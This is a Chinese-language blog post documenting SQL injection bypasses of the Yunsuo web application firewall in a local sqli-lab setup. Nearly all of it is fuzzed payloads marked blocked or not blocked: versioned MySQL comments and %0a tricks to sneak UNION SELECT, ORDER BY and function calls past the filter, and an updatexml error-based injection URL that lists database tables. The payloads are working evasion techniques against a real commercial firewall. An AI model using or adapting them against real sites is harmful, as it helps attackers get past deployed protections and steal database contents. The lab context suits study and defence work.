这次主要以搭建最新版云锁环境来进行bypass,从来两个方面进行绕过,第一个就是联合注入,第二个就是报错注入,由于上一篇我已经写了怎么通过时间盲注进行绕过这篇就不写了,这次主要从get型来进行绕过,post类型的脏数据以及其他方式暂时不考虑
php5.45+apache+云锁win_3.1.18.13(目前最新版)+靶机sqli-lab
由于and 没有被拦截暂时不考虑
这里order by 肯定被拦截,这里就进行fuzz
/**/order/**/by 1 拦截 /*!30000order*//*!30000by*/ 1 不拦截 /*!40000/*!30000order*//*!40000/*!30000by*/ 1 不拦截
/*!40000/*!30000union *//*!40000 /*!30000select */1,2,3 拦截 /*!40000/*!30000union */ /*!40000/*!30000all */ /*!40000 /*!30000select */1,2,3 不拦截 /*!40000/*!30000union */-- -adssadsadd%0aselect 1,2,3 拦截
这里本来以为会拦截系统函数,但是事实并没有拦截,有可能这就是免费版的效果,后面数据部分也没有被拦截就不放出来了,就是正常查询.
这里还是列出常用绕过系统函数几个方式吧
user/*!40000*/() database%0a() version/**/() vsersion/*!()*/
常见报错注入函数 floor() extractvalue() updatexml() exp() ,这里我选用updatexml()进行实验
updatexml 不拦截 updatexml() 拦截
如果这里的报错函数一出现函数与()连接就会被云锁拦截,这时候有两个方面来进行绕过一个是从updatexml绕过 一个是()来绕过
updatexml/**/() 拦截 updatexml/*!()*/ 拦截 updatexml%0a() 拦截 updatexml/*!40000()*/ 不拦截 /*!40000updatexml*/ 不拦截 /*!40000/*!30000updatexml*/() 不拦截
这里也是跟上面一样,绕过思路跟上面一样
database 不拦截 database() 拦截
paylaod就用绕报错函数方式即可
http://192.168.1.10/sql/Less-1/?id=1' and updatexml/*!40000*/1,concat(0x7e,(select %0agroup_concat(table_name) from%0ainformation_schema.tables%0awhere%0atable_schema="security"),0x7e),1)-- - 拦截 http://192.168.1.10/sql/Less-1/?id=1' and updatexml/*!40000*/(1,concat(0x7e,(select ),0x7e),1)-- - 不拦截 http://192.168.1.10/sql/Less-1/?id=1' and updatexml/*!40000*/(1,concat(0x7e,( %0agroup_concat(table_name) from%0ainformation_schema.tables%0awhere%0atable_schema="security"),0x7e),1)-- - 不拦截
说明这里被拦截的是select,这里我们就从select入手
/*!30000select*/ 不拦截 /*!30000%53elect*/ 不拦截 select/*!40000*//*!3000%0agroup_concat(table_name) from%0ainformation_schema.tables%0awhere%0atable_schema="security"*/ 拦截
总结:
感觉云锁绕过不是很难,如果post的话脏数据绕过更加简单.不知道是不是我这个搭建的免费版的(就是没钱)导致功能太弱,这里如果有遗漏的没有补充到还请各位师傅留言下..